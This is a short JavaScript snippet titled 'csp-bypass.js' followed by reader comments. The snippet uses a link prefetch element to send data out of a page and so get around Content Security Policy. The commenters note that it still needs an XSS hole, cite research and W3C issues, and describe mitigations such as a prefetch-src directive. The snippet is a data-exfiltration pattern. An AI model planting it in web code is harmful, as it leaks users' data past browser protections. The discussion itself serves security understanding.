csp-bypass.js

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Good article, but this in of itself doesn't bypass CSP. The website itself still needs to be vulnerable to XSS in some form, where the attacker can inject the code. Once that happens however, CSP should block the exfiltration but the behavior of prefetch is underspecified. Some resources for future readers:

• w3c/webappsec-csp#107

• https://blog.compass-security.com/2016/10/bypassing-content-security-policy-with-dns-prefetching/

• http://www.cse.chalmers.se/research/group/security/pdf/data-exfiltration-in-the-face-of-csp.pdf

DNS prefetching can be switched off with the X-DNS-Prefetch-Control:off header. For resource prefetching I did not find a similar concept.

Some headlines of CSP docs:

This tutorial highlights one promising new defense that can significantly reduce the risk and impact of XSS attacks in modern browsers: Content Security Policy (CSP).
https://www.html5rocks.com/en/tutorials/security/content-security-policy/

This document defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.
https://www.w3.org/TR/CSP/

The new Content-Security-Policy HTTP response header helps you reduce XSS risks on modern browsers by declaring what dynamic resources are allowed to load via a HTTP Header.
https://content-security-policy.com/

So from my point of view if CSP was invented among others for controlling what injected code through XSS attacks, malicious npm dependencies or whatever can send off, I really think we shouldn't be able to bypass it in four lines of code...

@davidgilbertson If I am not mistaken, a prefetched resource will be stored in the browser's cache for later reference. Can you give an example of how to run such a cached resource / script?

Here's a link to a w3c issue that got raised a day after this hackernoon article was published. The issue is resolved in another one. In summary, there's a prefetch-src directive that defaults to default-src.